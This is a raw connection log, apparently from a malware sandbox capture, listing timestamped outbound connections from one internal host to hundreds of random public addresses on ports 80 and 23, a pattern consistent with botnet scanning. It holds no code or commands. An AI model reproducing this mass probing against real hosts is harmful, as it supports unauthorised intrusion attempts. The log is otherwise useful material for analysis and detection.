Dec 3, 2024 21:47:21.053797960 CET	39419	80	192.168.2.13	27.174.94.33
Dec 3, 2024 21:47:21.053809881 CET	39419	80	192.168.2.13	71.246.136.245
Dec 3, 2024 21:47:21.053814888 CET	39419	80	192.168.2.13	111.217.177.89
Dec 3, 2024 21:47:21.053814888 CET	39419	80	192.168.2.13	136.98.17.56
Dec 3, 2024 21:47:21.053821087 CET	39419	80	192.168.2.13	178.58.136.94
Dec 3, 2024 21:47:21.053833961 CET	39419	80	192.168.2.13	139.43.235.92
Dec 3, 2024 21:47:21.053839922 CET	39419	80	192.168.2.13	109.87.222.169
Dec 3, 2024 21:47:21.053863049 CET	39419	80	192.168.2.13	50.175.49.144
Dec 3, 2024 21:47:21.053865910 CET	39419	80	192.168.2.13	175.66.159.16
Dec 3, 2024 21:47:21.053867102 CET	39419	80	192.168.2.13	178.189.219.24
Dec 3, 2024 21:47:21.053867102 CET	39419	80	192.168.2.13	179.234.64.6
Dec 3, 2024 21:47:21.053868055 CET	39419	80	192.168.2.13	5.155.61.231
Dec 3, 2024 21:47:21.053868055 CET	39419	80	192.168.2.13	160.14.202.232
Dec 3, 2024 21:47:21.053889036 CET	39419	80	192.168.2.13	128.250.210.74
Dec 3, 2024 21:47:21.053893089 CET	39419	80	192.168.2.13	70.31.92.183
Dec 3, 2024 21:47:21.053895950 CET	39419	80	192.168.2.13	24.44.43.21
Dec 3, 2024 21:47:21.053903103 CET	39419	80	192.168.2.13	149.191.4.237
Dec 3, 2024 21:47:21.053919077 CET	39419	80	192.168.2.13	176.16.141.122
Dec 3, 2024 21:47:21.053921938 CET	39419	80	192.168.2.13	176.199.191.81
Dec 3, 2024 21:47:21.053936958 CET	39419	80	192.168.2.13	166.37.209.157
Dec 3, 2024 21:47:21.053939104 CET	39419	80	192.168.2.13	88.139.198.30
Dec 3, 2024 21:47:21.053951025 CET	39419	80	192.168.2.13	144.64.255.118
Dec 3, 2024 21:47:21.053952932 CET	39419	80	192.168.2.13	40.93.240.234
Dec 3, 2024 21:47:21.053970098 CET	39419	80	192.168.2.13	122.136.114.18
Dec 3, 2024 21:47:21.053977013 CET	39419	80	192.168.2.13	174.30.69.22
Dec 3, 2024 21:47:21.053977013 CET	39419	80	192.168.2.13	108.17.1.78
Dec 3, 2024 21:47:21.053978920 CET	39419	80	192.168.2.13	77.44.193.245
Dec 3, 2024 21:47:21.053981066 CET	39419	80	192.168.2.13	72.83.185.114
Dec 3, 2024 21:47:21.053991079 CET	39419	80	192.168.2.13	151.143.165.75
Dec 3, 2024 21:47:21.054002047 CET	39419	80	192.168.2.13	97.192.128.153
Dec 3, 2024 21:47:21.054013968 CET	39419	80	192.168.2.13	88.33.9.95
Dec 3, 2024 21:47:21.054019928 CET	39419	80	192.168.2.13	1.220.172.207
Dec 3, 2024 21:47:21.054040909 CET	39419	80	192.168.2.13	217.32.227.86
Dec 3, 2024 21:47:21.054042101 CET	39419	80	192.168.2.13	78.146.143.43
Dec 3, 2024 21:47:21.054053068 CET	39419	80	192.168.2.13	45.160.240.42
Dec 3, 2024 21:47:21.054055929 CET	39419	80	192.168.2.13	195.26.24.64
Dec 3, 2024 21:47:21.054074049 CET	39419	80	192.168.2.13	204.226.250.167
Dec 3, 2024 21:47:21.054075003 CET	39419	80	192.168.2.13	223.127.29.136
Dec 3, 2024 21:47:21.054090023 CET	39419	80	192.168.2.13	18.8.119.127
Dec 3, 2024 21:47:21.054097891 CET	39419	80	192.168.2.13	205.249.27.111
Dec 3, 2024 21:47:21.054107904 CET	39419	80	192.168.2.13	94.110.148.203
Dec 3, 2024 21:47:21.054111958 CET	39419	80	192.168.2.13	150.219.129.39
Dec 3, 2024 21:47:21.054116011 CET	39419	80	192.168.2.13	62.225.53.3
Dec 3, 2024 21:47:21.054116964 CET	39419	80	192.168.2.13	209.113.53.137
Dec 3, 2024 21:47:21.054128885 CET	39419	80	192.168.2.13	37.162.130.55
Dec 3, 2024 21:47:21.054130077 CET	39419	80	192.168.2.13	143.136.33.90
Dec 3, 2024 21:47:21.054147959 CET	39419	80	192.168.2.13	189.150.86.255
Dec 3, 2024 21:47:21.054150105 CET	39419	80	192.168.2.13	220.190.112.85
Dec 3, 2024 21:47:21.054152012 CET	39419	80	192.168.2.13	221.109.116.210
Dec 3, 2024 21:47:21.054162025 CET	39419	80	192.168.2.13	189.135.139.159
Dec 3, 2024 21:47:21.054168940 CET	39419	80	192.168.2.13	156.110.19.178
Dec 3, 2024 21:47:21.054183960 CET	39419	80	192.168.2.13	184.72.176.182
Dec 3, 2024 21:47:21.054193020 CET	39419	80	192.168.2.13	23.130.215.145
Dec 3, 2024 21:47:21.054194927 CET	39419	80	192.168.2.13	20.208.86.242
Dec 3, 2024 21:47:21.054197073 CET	39419	80	192.168.2.13	69.131.26.232
Dec 3, 2024 21:47:21.054208994 CET	39419	80	192.168.2.13	160.255.180.90
Dec 3, 2024 21:47:21.054214954 CET	39419	80	192.168.2.13	121.166.36.83
Dec 3, 2024 21:47:21.054229975 CET	39419	80	192.168.2.13	213.158.211.20
Dec 3, 2024 21:47:21.054230928 CET	39419	80	192.168.2.13	65.248.35.76
Dec 3, 2024 21:47:21.054251909 CET	39419	80	192.168.2.13	146.236.26.139
Dec 3, 2024 21:47:21.054251909 CET	39419	80	192.168.2.13	128.252.244.246
Dec 3, 2024 21:47:21.054263115 CET	39419	80	192.168.2.13	48.97.37.22
Dec 3, 2024 21:47:21.054263115 CET	39419	80	192.168.2.13	167.36.124.213
Dec 3, 2024 21:47:21.054275990 CET	39419	80	192.168.2.13	86.46.79.153
Dec 3, 2024 21:47:21.054286957 CET	39419	80	192.168.2.13	219.161.183.199
Dec 3, 2024 21:47:21.054290056 CET	39419	80	192.168.2.13	92.95.241.80
Dec 3, 2024 21:47:21.054311991 CET	39419	80	192.168.2.13	104.175.247.168
Dec 3, 2024 21:47:21.054311991 CET	39419	80	192.168.2.13	205.132.154.67
Dec 3, 2024 21:47:21.054322004 CET	39419	80	192.168.2.13	211.190.21.48
Dec 3, 2024 21:47:21.054327965 CET	39419	80	192.168.2.13	52.34.46.150
Dec 3, 2024 21:47:21.054341078 CET	39419	80	192.168.2.13	90.245.221.104
Dec 3, 2024 21:47:21.054348946 CET	39419	80	192.168.2.13	140.54.159.198
Dec 3, 2024 21:47:21.054356098 CET	39419	80	192.168.2.13	137.21.119.94
Dec 3, 2024 21:47:21.054369926 CET	39419	80	192.168.2.13	222.22.60.116
Dec 3, 2024 21:47:21.054377079 CET	39419	80	192.168.2.13	174.67.59.232
Dec 3, 2024 21:47:21.054390907 CET	39419	80	192.168.2.13	65.42.170.201
Dec 3, 2024 21:47:21.054394007 CET	39419	80	192.168.2.13	113.15.165.195
Dec 3, 2024 21:47:21.054404020 CET	39419	80	192.168.2.13	12.37.224.164
Dec 3, 2024 21:47:21.054410934 CET	39419	80	192.168.2.13	201.48.59.54
Dec 3, 2024 21:47:21.054419994 CET	39419	80	192.168.2.13	9.240.30.6
Dec 3, 2024 21:47:21.054423094 CET	39419	80	192.168.2.13	90.25.178.223
Dec 3, 2024 21:47:21.054438114 CET	39419	80	192.168.2.13	97.159.224.209
Dec 3, 2024 21:47:21.054440022 CET	39419	80	192.168.2.13	105.53.184.22
Dec 3, 2024 21:47:21.054459095 CET	39419	80	192.168.2.13	12.14.172.0
Dec 3, 2024 21:47:21.054461002 CET	39419	80	192.168.2.13	76.102.74.158
Dec 3, 2024 21:47:21.054471970 CET	39419	80	192.168.2.13	92.55.226.57
Dec 3, 2024 21:47:21.054475069 CET	39419	80	192.168.2.13	146.250.195.95
Dec 3, 2024 21:47:21.054490089 CET	39419	80	192.168.2.13	58.228.45.37
Dec 3, 2024 21:47:21.054491043 CET	39419	80	192.168.2.13	39.118.193.137
Dec 3, 2024 21:47:21.054497957 CET	39419	80	192.168.2.13	133.226.232.31
Dec 3, 2024 21:47:21.054500103 CET	39419	80	192.168.2.13	183.183.224.70
Dec 3, 2024 21:47:21.054522991 CET	39419	80	192.168.2.13	70.127.192.4
Dec 3, 2024 21:47:21.054523945 CET	39419	80	192.168.2.13	213.120.203.229
Dec 3, 2024 21:47:21.054523945 CET	39419	80	192.168.2.13	64.165.245.84
Dec 3, 2024 21:47:21.054527998 CET	39419	80	192.168.2.13	27.228.61.45
Dec 3, 2024 21:47:21.054542065 CET	39419	80	192.168.2.13	107.49.56.192
Dec 3, 2024 21:47:21.054543972 CET	39419	80	192.168.2.13	203.3.181.142
Dec 3, 2024 21:47:21.054563046 CET	39419	80	192.168.2.13	2.183.248.86
Dec 3, 2024 21:47:21.054570913 CET	39419	80	192.168.2.13	173.62.118.136
Dec 3, 2024 21:47:21.054572105 CET	39419	80	192.168.2.13	64.131.212.31
Dec 3, 2024 21:47:21.054572105 CET	39419	80	192.168.2.13	40.4.238.17
Dec 3, 2024 21:47:21.054582119 CET	39419	80	192.168.2.13	61.155.23.29
Dec 3, 2024 21:47:21.054589987 CET	39419	80	192.168.2.13	116.252.183.12
Dec 3, 2024 21:47:21.054599047 CET	39419	80	192.168.2.13	109.101.105.227
Dec 3, 2024 21:47:21.054615974 CET	39419	80	192.168.2.13	145.23.228.246
Dec 3, 2024 21:47:21.054620981 CET	39419	80	192.168.2.13	196.27.255.42
Dec 3, 2024 21:47:21.054630995 CET	39419	80	192.168.2.13	176.179.151.161
Dec 3, 2024 21:47:21.054630995 CET	39419	80	192.168.2.13	222.234.126.91
Dec 3, 2024 21:47:21.054645061 CET	39419	80	192.168.2.13	14.102.124.29
Dec 3, 2024 21:47:21.054663897 CET	39419	80	192.168.2.13	170.51.234.145
Dec 3, 2024 21:47:21.054665089 CET	39419	80	192.168.2.13	45.149.17.224
Dec 3, 2024 21:47:21.054666996 CET	39419	80	192.168.2.13	108.195.152.27
Dec 3, 2024 21:47:21.054672003 CET	39419	80	192.168.2.13	80.41.217.134
Dec 3, 2024 21:47:21.054682970 CET	39419	80	192.168.2.13	200.217.120.1
Dec 3, 2024 21:47:21.054686069 CET	39419	80	192.168.2.13	113.100.206.63
Dec 3, 2024 21:47:21.054697990 CET	39419	80	192.168.2.13	52.119.37.145
Dec 3, 2024 21:47:21.054709911 CET	39419	80	192.168.2.13	117.164.54.233
Dec 3, 2024 21:47:21.054718971 CET	39419	80	192.168.2.13	149.26.37.167
Dec 3, 2024 21:47:21.054721117 CET	39419	80	192.168.2.13	142.23.251.228
Dec 3, 2024 21:47:21.054740906 CET	39419	80	192.168.2.13	165.24.249.139
Dec 3, 2024 21:47:21.054744959 CET	39419	80	192.168.2.13	46.213.139.215
Dec 3, 2024 21:47:21.054744959 CET	39419	80	192.168.2.13	208.171.215.67
Dec 3, 2024 21:47:21.054755926 CET	39419	80	192.168.2.13	4.215.31.110
Dec 3, 2024 21:47:21.054761887 CET	39419	80	192.168.2.13	141.223.95.187
Dec 3, 2024 21:47:21.054761887 CET	39419	80	192.168.2.13	38.70.82.6
Dec 3, 2024 21:47:21.054771900 CET	39419	80	192.168.2.13	51.182.155.240
Dec 3, 2024 21:47:21.054784060 CET	39419	80	192.168.2.13	62.153.177.253
Dec 3, 2024 21:47:21.054791927 CET	39419	80	192.168.2.13	47.65.117.49
Dec 3, 2024 21:47:21.054797888 CET	39419	80	192.168.2.13	45.166.109.29
Dec 3, 2024 21:47:21.054805994 CET	39419	80	192.168.2.13	12.171.185.65
Dec 3, 2024 21:47:21.054816961 CET	39419	80	192.168.2.13	184.237.134.132
Dec 3, 2024 21:47:21.054820061 CET	39419	80	192.168.2.13	219.60.104.144
Dec 3, 2024 21:47:21.054821968 CET	39419	80	192.168.2.13	67.43.195.244
Dec 3, 2024 21:47:21.054840088 CET	39419	80	192.168.2.13	201.66.138.115
Dec 3, 2024 21:47:21.054842949 CET	39419	80	192.168.2.13	165.127.139.89
Dec 3, 2024 21:47:21.054853916 CET	39419	80	192.168.2.13	83.12.253.102
Dec 3, 2024 21:47:21.054858923 CET	39419	80	192.168.2.13	137.153.87.22
Dec 3, 2024 21:47:21.054861069 CET	39419	80	192.168.2.13	211.80.83.39
Dec 3, 2024 21:47:21.054873943 CET	39419	80	192.168.2.13	145.76.205.160
Dec 3, 2024 21:47:21.054876089 CET	39419	80	192.168.2.13	105.219.45.166
Dec 3, 2024 21:47:21.054893970 CET	39419	80	192.168.2.13	59.219.176.10
Dec 3, 2024 21:47:21.054894924 CET	39419	80	192.168.2.13	88.220.100.134
Dec 3, 2024 21:47:21.054913044 CET	39419	80	192.168.2.13	140.161.88.252
Dec 3, 2024 21:47:21.054919004 CET	39419	80	192.168.2.13	121.72.125.178
Dec 3, 2024 21:47:21.054922104 CET	39419	80	192.168.2.13	38.86.114.214
Dec 3, 2024 21:47:21.054922104 CET	39419	80	192.168.2.13	181.108.154.138
Dec 3, 2024 21:47:21.054924011 CET	39419	80	192.168.2.13	115.151.101.5
Dec 3, 2024 21:47:21.054925919 CET	39419	80	192.168.2.13	27.199.86.61
Dec 3, 2024 21:47:21.054933071 CET	39419	80	192.168.2.13	168.64.40.69
Dec 3, 2024 21:47:21.054939985 CET	39419	80	192.168.2.13	104.173.172.130
Dec 3, 2024 21:47:21.054945946 CET	39419	80	192.168.2.13	130.73.75.102
Dec 3, 2024 21:47:21.054960966 CET	39419	80	192.168.2.13	75.61.143.198
Dec 3, 2024 21:47:21.054964066 CET	39419	80	192.168.2.13	135.23.255.144
Dec 3, 2024 21:47:21.054976940 CET	39419	80	192.168.2.13	180.231.76.118
Dec 3, 2024 21:47:21.054985046 CET	39419	80	192.168.2.13	113.196.203.144
Dec 3, 2024 21:47:21.054997921 CET	39419	80	192.168.2.13	87.32.182.255
Dec 3, 2024 21:47:21.055005074 CET	39419	80	192.168.2.13	132.90.51.204
Dec 3, 2024 21:47:21.055007935 CET	39419	80	192.168.2.13	20.11.26.220
Dec 3, 2024 21:47:21.055023909 CET	39419	80	192.168.2.13	158.71.228.39
Dec 3, 2024 21:47:21.055025101 CET	39419	80	192.168.2.13	208.253.117.184
Dec 3, 2024 21:47:21.055047035 CET	39419	80	192.168.2.13	210.250.128.98
Dec 3, 2024 21:47:21.055047035 CET	39419	80	192.168.2.13	93.127.76.25
Dec 3, 2024 21:47:21.055058956 CET	39419	80	192.168.2.13	143.222.97.247
Dec 3, 2024 21:47:21.055066109 CET	39419	80	192.168.2.13	101.254.114.130
Dec 3, 2024 21:47:21.055680037 CET	60014	80	192.168.2.13	186.84.218.11
Dec 3, 2024 21:47:21.056337118 CET	49652	80	192.168.2.13	87.46.134.230
Dec 3, 2024 21:47:21.056925058 CET	50012	80	192.168.2.13	14.244.19.249
Dec 3, 2024 21:47:21.057512045 CET	53878	80	192.168.2.13	89.9.140.26
Dec 3, 2024 21:47:21.058087111 CET	37870	80	192.168.2.13	94.2.223.202
Dec 3, 2024 21:47:21.058650017 CET	57134	80	192.168.2.13	135.22.204.152
Dec 3, 2024 21:47:21.059206963 CET	55974	80	192.168.2.13	101.1.73.203
Dec 3, 2024 21:47:21.059789896 CET	52804	80	192.168.2.13	208.91.209.54
Dec 3, 2024 21:47:21.060400963 CET	33126	80	192.168.2.13	39.103.0.196
Dec 3, 2024 21:47:21.061090946 CET	51386	80	192.168.2.13	219.115.34.124
Dec 3, 2024 21:47:21.061745882 CET	49640	80	192.168.2.13	217.9.92.75
Dec 3, 2024 21:47:21.062371969 CET	56618	80	192.168.2.13	128.218.148.72
Dec 3, 2024 21:47:21.062932014 CET	36910	80	192.168.2.13	116.147.27.49
Dec 3, 2024 21:47:21.063544989 CET	55008	80	192.168.2.13	132.216.212.60
Dec 3, 2024 21:47:21.064148903 CET	58998	80	192.168.2.13	206.17.226.29
Dec 3, 2024 21:47:21.064749956 CET	38200	80	192.168.2.13	87.2.29.201
Dec 3, 2024 21:47:21.065351963 CET	40994	80	192.168.2.13	187.198.156.166
Dec 3, 2024 21:47:21.065969944 CET	51636	80	192.168.2.13	151.199.164.101
Dec 3, 2024 21:47:21.066586971 CET	43924	80	192.168.2.13	165.66.103.50
Dec 3, 2024 21:47:21.067217112 CET	36782	80	192.168.2.13	49.175.230.209
Dec 3, 2024 21:47:21.067835093 CET	46660	80	192.168.2.13	167.129.209.249
Dec 3, 2024 21:47:21.068454981 CET	32908	80	192.168.2.13	84.115.17.222
Dec 3, 2024 21:47:21.068624020 CET	40955	23	192.168.2.13	113.209.123.18
Dec 3, 2024 21:47:21.068624973 CET	40955	23	192.168.2.13	145.115.243.88
Dec 3, 2024 21:47:21.068625927 CET	40955	23	192.168.2.13	101.187.165.148
Dec 3, 2024 21:47:21.068645000 CET	40955	23	192.168.2.13	216.146.146.100
Dec 3, 2024 21:47:21.068651915 CET	40955	23	192.168.2.13	52.25.5.36
Dec 3, 2024 21:47:21.068654060 CET	40955	23	192.168.2.13	110.85.216.70
Dec 3, 2024 21:47:21.068664074 CET	40955	23	192.168.2.13	111.247.30.206
Dec 3, 2024 21:47:21.068674088 CET	40955	23	192.168.2.13	117.119.246.254
Dec 3, 2024 21:47:21.068676949 CET	40955	23	192.168.2.13	138.69.245.245
Dec 3, 2024 21:47:21.068684101 CET	40955	23	192.168.2.13	32.224.100.250
Dec 3, 2024 21:47:21.068700075 CET	40955	23	192.168.2.13	152.187.104.182
Dec 3, 2024 21:47:21.068705082 CET	40955	23	192.168.2.13	211.105.97.241
Dec 3, 2024 21:47:21.068706036 CET	40955	23	192.168.2.13	109.33.5.253
Dec 3, 2024 21:47:21.068718910 CET	40955	23	192.168.2.13	173.39.197.207
Dec 3, 2024 21:47:21.068718910 CET	40955	23	192.168.2.13	25.236.50.2
Dec 3, 2024 21:47:21.068731070 CET	40955	23	192.168.2.13	62.116.204.4
Dec 3, 2024 21:47:21.068738937 CET	40955	23	192.168.2.13	24.129.68.80
Dec 3, 2024 21:47:21.068748951 CET	40955	23	192.168.2.13	64.167.20.67
Dec 3, 2024 21:47:21.068756104 CET	40955	23	192.168.2.13	143.9.9.237
Dec 3, 2024 21:47:21.068773031 CET	40955	23	192.168.2.13	64.85.90.221
Dec 3, 2024 21:47:21.068773985 CET	40955	23	192.168.2.13	104.72.196.196
Dec 3, 2024 21:47:21.068792105 CET	40955	23	192.168.2.13	207.253.117.137
Dec 3, 2024 21:47:21.068793058 CET	40955	23	192.168.2.13	57.162.164.45
Dec 3, 2024 21:47:21.068799019 CET	40955	23	192.168.2.13	52.105.72.149
Dec 3, 2024 21:47:21.068811893 CET	40955	23	192.168.2.13	160.151.215.127
Dec 3, 2024 21:47:21.068823099 CET	40955	23	192.168.2.13	180.58.154.148
Dec 3, 2024 21:47:21.068831921 CET	40955	23	192.168.2.13	70.202.214.249
Dec 3, 2024 21:47:21.068844080 CET	40955	23	192.168.2.13	202.117.23.252
Dec 3, 2024 21:47:21.068849087 CET	40955	23	192.168.2.13	25.220.142.122
Dec 3, 2024 21:47:21.068861008 CET	40955	23	192.168.2.13	203.200.152.239
Dec 3, 2024 21:47:21.068862915 CET	40955	23	192.168.2.13	48.31.1.251
Dec 3, 2024 21:47:21.068878889 CET	40955	23	192.168.2.13	99.190.79.228
Dec 3, 2024 21:47:21.068878889 CET	40955	23	192.168.2.13	27.24.89.87
Dec 3, 2024 21:47:21.068892002 CET	40955	23	192.168.2.13	159.102.130.196
Dec 3, 2024 21:47:21.068898916 CET	40955	23	192.168.2.13	120.187.198.10
Dec 3, 2024 21:47:21.068916082 CET	40955	23	192.168.2.13	129.252.104.217
Dec 3, 2024 21:47:21.068917036 CET	40955	23	192.168.2.13	54.230.19.79
Dec 3, 2024 21:47:21.068922997 CET	40955	23	192.168.2.13	194.46.214.48
Dec 3, 2024 21:47:21.068922997 CET	40955	23	192.168.2.13	50.120.234.17
Dec 3, 2024 21:47:21.068939924 CET	40955	23	192.168.2.13	58.243.52.82
Dec 3, 2024 21:47:21.068943024 CET	40955	23	192.168.2.13	143.8.255.223
Dec 3, 2024 21:47:21.068954945 CET	40955	23	192.168.2.13	129.210.239.235
Dec 3, 2024 21:47:21.068963051 CET	40955	23	192.168.2.13	190.239.228.218
Dec 3, 2024 21:47:21.068977118 CET	40955	23	192.168.2.13	17.176.42.27
Dec 3, 2024 21:47:21.068979025 CET	40955	23	192.168.2.13	132.232.128.234
Dec 3, 2024 21:47:21.068986893 CET	40955	23	192.168.2.13	197.19.149.211
Dec 3, 2024 21:47:21.068989992 CET	40955	23	192.168.2.13	98.63.10.10
Dec 3, 2024 21:47:21.069000959 CET	40955	23	192.168.2.13	117.30.206.185
Dec 3, 2024 21:47:21.069013119 CET	40955	23	192.168.2.13	98.91.93.216
Dec 3, 2024 21:47:21.069015026 CET	40955	23	192.168.2.13	42.23.43.2
Dec 3, 2024 21:47:21.069027901 CET	40955	23	192.168.2.13	60.45.119.217
Dec 3, 2024 21:47:21.069041014 CET	40955	23	192.168.2.13	149.156.20.220
Dec 3, 2024 21:47:21.069041014 CET	40955	23	192.168.2.13	115.177.199.44
Dec 3, 2024 21:47:21.069058895 CET	40955	23	192.168.2.13	110.39.57.61
Dec 3, 2024 21:47:21.069061995 CET	40955	23	192.168.2.13	2.95.77.211
Dec 3, 2024 21:47:21.069087982 CET	40955	23	192.168.2.13	173.226.89.8
Dec 3, 2024 21:47:21.069087982 CET	40955	23	192.168.2.13	203.123.243.180
Dec 3, 2024 21:47:21.069089890 CET	40955	23	192.168.2.13	96.226.22.242
Dec 3, 2024 21:47:21.069092035 CET	40955	23	192.168.2.13	70.96.24.24
Dec 3, 2024 21:47:21.069092989 CET	40955	23	192.168.2.13	120.60.234.220
Dec 3, 2024 21:47:21.069104910 CET	40955	23	192.168.2.13	191.142.125.60
Dec 3, 2024 21:47:21.069108963 CET	40955	23	192.168.2.13	167.51.174.85
Dec 3, 2024 21:47:21.069124937 CET	40955	23	192.168.2.13	153.28.83.46
Dec 3, 2024 21:47:21.069125891 CET	40955	23	192.168.2.13	122.158.157.255
Dec 3, 2024 21:47:21.069133043 CET	40955	23	192.168.2.13	198.110.65.61
Dec 3, 2024 21:47:21.069149017 CET	40955	23	192.168.2.13	136.92.172.90
Dec 3, 2024 21:47:21.069152117 CET	40955	23	192.168.2.13	83.170.4.160
Dec 3, 2024 21:47:21.069152117 CET	40955	23	192.168.2.13	118.58.112.226
Dec 3, 2024 21:47:21.069161892 CET	40955	23	192.168.2.13	35.232.109.193
Dec 3, 2024 21:47:21.069164038 CET	40955	23	192.168.2.13	60.122.76.167
Dec 3, 2024 21:47:21.069180012 CET	40955	23	192.168.2.13	120.58.130.208
Dec 3, 2024 21:47:21.069189072 CET	40955	23	192.168.2.13	130.60.171.178
Dec 3, 2024 21:47:21.069199085 CET	40955	23	192.168.2.13	162.219.179.237
Dec 3, 2024 21:47:21.069207907 CET	40955	23	192.168.2.13	205.4.11.3
Dec 3, 2024 21:47:21.069214106 CET	40955	23	192.168.2.13	23.124.200.138
Dec 3, 2024 21:47:21.069230080 CET	40955	23	192.168.2.13	2.172.202.55
Dec 3, 2024 21:47:21.069236994 CET	40955	23	192.168.2.13	142.20.181.134
Dec 3, 2024 21:47:21.069252014 CET	40955	23	192.168.2.13	134.115.138.2
Dec 3, 2024 21:47:21.069253922 CET	40955	23	192.168.2.13	148.139.132.196
Dec 3, 2024 21:47:21.069271088 CET	40955	23	192.168.2.13	19.10.115.32
Dec 3, 2024 21:47:21.069274902 CET	40955	23	192.168.2.13	122.54.26.245
Dec 3, 2024 21:47:21.069274902 CET	40955	23	192.168.2.13	108.27.88.210
Dec 3, 2024 21:47:21.069291115 CET	40955	23	192.168.2.13	115.136.247.206
Dec 3, 2024 21:47:21.069291115 CET	40955	23	192.168.2.13	88.73.68.146
Dec 3, 2024 21:47:21.069291115 CET	40955	23	192.168.2.13	96.113.70.15
Dec 3, 2024 21:47:21.069310904 CET	40955	23	192.168.2.13	209.191.160.209
Dec 3, 2024 21:47:21.069320917 CET	40955	23	192.168.2.13	185.123.79.148
Dec 3, 2024 21:47:21.069320917 CET	40955	23	192.168.2.13	20.219.255.39
Dec 3, 2024 21:47:21.069322109 CET	40955	23	192.168.2.13	77.199.48.95
Dec 3, 2024 21:47:21.069320917 CET	40955	23	192.168.2.13	188.157.100.208
Dec 3, 2024 21:47:21.069334030 CET	40955	23	192.168.2.13	147.215.207.225
Dec 3, 2024 21:47:21.069334984 CET	40955	23	192.168.2.13	90.183.170.247
Dec 3, 2024 21:47:21.069339037 CET	40955	23	192.168.2.13	165.78.76.210
Dec 3, 2024 21:47:21.069350004 CET	40955	23	192.168.2.13	139.33.162.104
Dec 3, 2024 21:47:21.069372892 CET	40955	23	192.168.2.13	187.124.120.130
Dec 3, 2024 21:47:21.069377899 CET	40955	23	192.168.2.13	118.171.153.118
Dec 3, 2024 21:47:21.069380045 CET	40955	23	192.168.2.13	204.136.130.64
Dec 3, 2024 21:47:21.069389105 CET	40955	23	192.168.2.13	218.18.47.137
Dec 3, 2024 21:47:21.069389105 CET	40955	23	192.168.2.13	23.231.246.89
Dec 3, 2024 21:47:21.069391012 CET	40955	23	192.168.2.13	201.81.115.128
Dec 3, 2024 21:47:21.069391966 CET	40955	23	192.168.2.13	119.49.244.103
Dec 3, 2024 21:47:21.069406033 CET	40955	23	192.168.2.13	163.63.94.54
Dec 3, 2024 21:47:21.069408894 CET	40955	23	192.168.2.13	203.201.156.26
Dec 3, 2024 21:47:21.069422007 CET	40955	23	192.168.2.13	74.177.173.19
Dec 3, 2024 21:47:21.069428921 CET	40955	23	192.168.2.13	107.22.2.214
Dec 3, 2024 21:47:21.069444895 CET	40955	23	192.168.2.13	128.245.204.183
Dec 3, 2024 21:47:21.069446087 CET	40955	23	192.168.2.13	61.92.92.57
Dec 3, 2024 21:47:21.069453955 CET	40955	23	192.168.2.13	202.103.65.240
Dec 3, 2024 21:47:21.069456100 CET	40955	23	192.168.2.13	167.226.73.137
Dec 3, 2024 21:47:21.069467068 CET	40955	23	192.168.2.13	31.249.87.164
Dec 3, 2024 21:47:21.069475889 CET	40955	23	192.168.2.13	155.158.189.79
Dec 3, 2024 21:47:21.069494009 CET	40955	23	192.168.2.13	62.254.100.93
Dec 3, 2024 21:47:21.069494009 CET	40955	23	192.168.2.13	130.8.202.132
Dec 3, 2024 21:47:21.069509029 CET	40955	23	192.168.2.13	122.180.199.187
Dec 3, 2024 21:47:21.069509029 CET	40955	23	192.168.2.13	99.192.135.72
Dec 3, 2024 21:47:21.069525957 CET	40955	23	192.168.2.13	95.12.118.78
Dec 3, 2024 21:47:21.069530010 CET	40955	23	192.168.2.13	124.163.184.216
Dec 3, 2024 21:47:21.069546938 CET	40955	23	192.168.2.13	63.44.173.136
Dec 3, 2024 21:47:21.069549084 CET	40955	23	192.168.2.13	217.102.109.119
Dec 3, 2024 21:47:21.069564104 CET	40955	23	192.168.2.13	218.229.87.34
Dec 3, 2024 21:47:21.069566965 CET	40955	23	192.168.2.13	179.159.224.53
Dec 3, 2024 21:47:21.069581985 CET	40955	23	192.168.2.13	41.94.224.171
Dec 3, 2024 21:47:21.069586992 CET	40955	23	192.168.2.13	4.193.17.136
Dec 3, 2024 21:47:21.069597006 CET	40955	23	192.168.2.13	153.220.35.217
Dec 3, 2024 21:47:21.069602966 CET	40955	23	192.168.2.13	40.155.10.102
Dec 3, 2024 21:47:21.069614887 CET	40955	23	192.168.2.13	190.22.146.15
Dec 3, 2024 21:47:21.069622993 CET	40955	23	192.168.2.13	206.194.254.168
Dec 3, 2024 21:47:21.069634914 CET	40955	23	192.168.2.13	62.181.127.96
Dec 3, 2024 21:47:21.069644928 CET	40955	23	192.168.2.13	124.157.168.83
Dec 3, 2024 21:47:21.069650888 CET	40955	23	192.168.2.13	46.162.22.201
Dec 3, 2024 21:47:21.069660902 CET	40955	23	192.168.2.13	40.118.146.37
Dec 3, 2024 21:47:21.069674969 CET	40955	23	192.168.2.13	102.252.215.228
Dec 3, 2024 21:47:21.069679976 CET	40955	23	192.168.2.13	217.154.247.82
Dec 3, 2024 21:47:21.069684029 CET	40955	23	192.168.2.13	142.71.25.240
Dec 3, 2024 21:47:21.069695950 CET	40955	23	192.168.2.13	132.25.222.238
Dec 3, 2024 21:47:21.069701910 CET	40955	23	192.168.2.13	74.214.251.202
Dec 3, 2024 21:47:21.069710970 CET	40955	23	192.168.2.13	129.175.61.95
Dec 3, 2024 21:47:21.069710970 CET	40955	23	192.168.2.13	220.235.133.157
Dec 3, 2024 21:47:21.069730043 CET	40955	23	192.168.2.13	1.202.149.135
Dec 3, 2024 21:47:21.069730997 CET	40955	23	192.168.2.13	20.25.211.170
Dec 3, 2024 21:47:21.069744110 CET	40955	23	192.168.2.13	12.105.80.224
Dec 3, 2024 21:47:21.069749117 CET	40955	23	192.168.2.13	144.61.44.7
Dec 3, 2024 21:47:21.069756031 CET	40955	23	192.168.2.13	92.8.15.181
Dec 3, 2024 21:47:21.069766998 CET	40955	23	192.168.2.13	65.103.100.41
Dec 3, 2024 21:47:21.069776058 CET	40955	23	192.168.2.13	75.153.23.78
Dec 3, 2024 21:47:21.069781065 CET	40955	23	192.168.2.13	157.98.62.50
Dec 3, 2024 21:47:21.069792986 CET	40955	23	192.168.2.13	222.8.150.81
Dec 3, 2024 21:47:21.069801092 CET	40955	23	192.168.2.13	135.206.216.250
Dec 3, 2024 21:47:21.069806099 CET	40955	23	192.168.2.13	41.146.220.217
Dec 3, 2024 21:47:21.069807053 CET	40955	23	192.168.2.13	44.96.223.219
Dec 3, 2024 21:47:21.069820881 CET	40955	23	192.168.2.13	131.19.23.21
Dec 3, 2024 21:47:21.069823980 CET	40955	23	192.168.2.13	155.29.236.172
Dec 3, 2024 21:47:21.069837093 CET	40955	23	192.168.2.13	168.191.145.159
Dec 3, 2024 21:47:21.069850922 CET	40955	23	192.168.2.13	169.133.114.96
